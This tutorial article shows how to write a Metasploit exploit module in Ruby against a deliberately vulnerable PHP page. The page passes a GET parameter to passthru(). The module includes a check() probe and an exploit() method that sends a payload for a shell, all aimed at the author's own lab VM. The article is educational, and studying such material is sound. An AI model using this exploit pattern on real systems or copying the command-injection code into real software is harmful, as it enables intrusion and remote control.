Creating your Own Simple Exploit Module for a Remote Code Execution in Web Apps
To all readers, a zip file containing the code used in the article can also be downloaded here:
[download]
What should you learn next?
MSF is one of the most popular penetration testing toolkits the world has ever known, and we would like to thank HD Moore and his super awesome team from Rapid 7 plus the committees of the said project.
In this article, I will show you how you can write your very own unauthenticated, remote code execution exploit that targets web applications.
A few reminders before all else: I am not a 3l337 exploit developer, but I was able to contribute some auxiliary and exploit modules to the framework and have been a regular contributor since my first pull request and successful merge.
Before starting on landing a pull request and contribute some of your awesome code and ideas for the framework, you might want to read the official wiki guide to Setting Up a Metasploit Development Environment. If you are not familiar with the framework yet then read on Metasploit Unleashed which will guide you on what to do after launching the command "msfconsole".
This article though assumes that you are already familiar with using the tool, has an average knowledge of the Ruby language and would want to contribute your excellent code to the framework.
This article is pretty straightforward and brief, so please do refer to the references and write your comments below if you have any questions or some corrections.
Our Sample Target
I would suggest you to setup an Apache Server on a Linux VM machine and use the following vulnerable code as our practice vulnerable web:
<?php
if ( isset( $_GET['exec'] ) ) {
if ( false === passthru( $_GET['exec'] ) )
echo 'So sad, this is an error – aurelius of Infosec Institute';
}
?>
I placed this code on my Ubuntu VM machine on the path /var/www/html/msfdev/vulnerable.php thus I should be able to browse it on http://localhost/msfdev/vulnerable.php just like the image below with the proof of concept of the vulnerable code.
Yep, there we have it. We can execute arbitrary commands by using the parameter exec on the URL. Now time to write our exploit module based on this vulnerable target.
My attacker machine runs on Weakerthan GNU/Linux 6 which is a penetration testing distro based on Debian and has Metasploit pre-installed. My attacker machine is where I will be doing my exploit development. You can choose any penetration testing distro like Kali Linux or BackBox Linux as long as you are comfortable with it.
Our Template for Our Exploit
We will be using our modified template based on How to get started with writing an exploit.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit
'Description' => %q{
This module exploits a vulnerable web app created by aurelius.
},
'License' => MSF_LICENSE,
'Author' =>
[
'aurelius' # msf and initial discovery
],
'References' =>
[
['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Vulnerable App', { } ],
],
'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),
],self.class)
end
def check
# code here
end
def exploit
# code here
end
end
We will be using the HTTPClient mixin to send HTTP requests especially in sending our exploit that is why I used include Msf::Exploit::Remote::HttpClient and since this exploit will not crash a service and is a command execution vulnerability, I used Rank = ExcellentRanking.
Creating Our check() Method
When writing an exploit module, it would be wise to add a check() method to verify if a vulnerability exists or not without popping a shell or a meterpreter session. Here is our sample code that is almost done and the only thing we need to add to complete the module is to add some code to the exploit() method:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit
'Description' => %q{
This module exploits a vulnerable web app created by aurelius.
},
'License' => MSF_LICENSE,
'Author' =>
[
'aurelius' # msf and initial discovery
],
'References' =>
[
['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Vulnerable App', { } ],
],
'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),
],self.class)
end
def check
txt = Rex::Text.rand_text_alpha(10)
res = command_exec("echo #{txt}")
if res && res.body =~ /#{txt}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def command_exec(shell)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'exec' => shell
}
})
end
def exploit
# code here
end
end
Now, let's try running our code and save it as vulnerable_app_rce.rb. In my case, I just save it under the path metasploit-framework/modules/exploits/multi/http despite not defining Windows and Linux as our target or platform because we can just modify it later and add more platforms.
Excellent! We have now a working check() method and was able to verify that the remote code execution vulnerability does exist in our target. Let's try to check what Metasploit did in using the check() method by using Wireshark.
As what you can see, it was able to send the "echo tHHpohTgBa" command successfully because there is a word "tHHpohTgBa" reflected in the HTTP response body. "tHHpohTgBa" is a random string sent because of the code below on the check() method:
txt = Rex::Text.rand_text_alpha(10)
res = command_exec("echo #{txt}")
By the way, 192.168.150.128 is the IP address of the vulnerable Ubuntu VM machine where I placed the msfdev/vulnerable.php code.
Our Exploit Code
Here is our finishing touch:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Vulnerable App Remote Code Execution', # title of the exploit
'Description' => %q{
This module exploits a vulnerable web app created by aurelius.
},
'License' => MSF_LICENSE,
'Author' =>
[
'aurelius' # msf and initial discovery
],
'References' =>
[
['URL', 'https://github.com/rapid7/metasploit-framework/wiki'], # Metasploit Wiki
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Vulnerable App', { } ],
],
'DisclosureDate' => 'Dec 12 2015', # date this article was written in MS Word lol
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path of the vulnerable file", "/msfdev/vulnerable.php"]),
],self.class)
end
def check
txt = Rex::Text.rand_text_alpha(10)
res = command_exec("echo #{txt}")
if res && res.body =~ /#{txt}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def command_exec(shell)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'exec' => shell
}
})
end
def exploit
command_exec(payload.encoded) # we just added something here which is our payload
end
end
Now let's run it again and use the exploit command!
We got a shell! w00t! And there we have our exploit module for a remote code execution vulnerability.
Final Words
Greetz to sinn3r and wvu-r7 who have been handling most of my pull requests and helped me correct some of my code in my pull requests. Thanks to James Fitts for the inspiration to contribute to the MSF Framework!
References:
https://github.com/rapid7/metasploit-framework/wiki
FREE role-guided training plans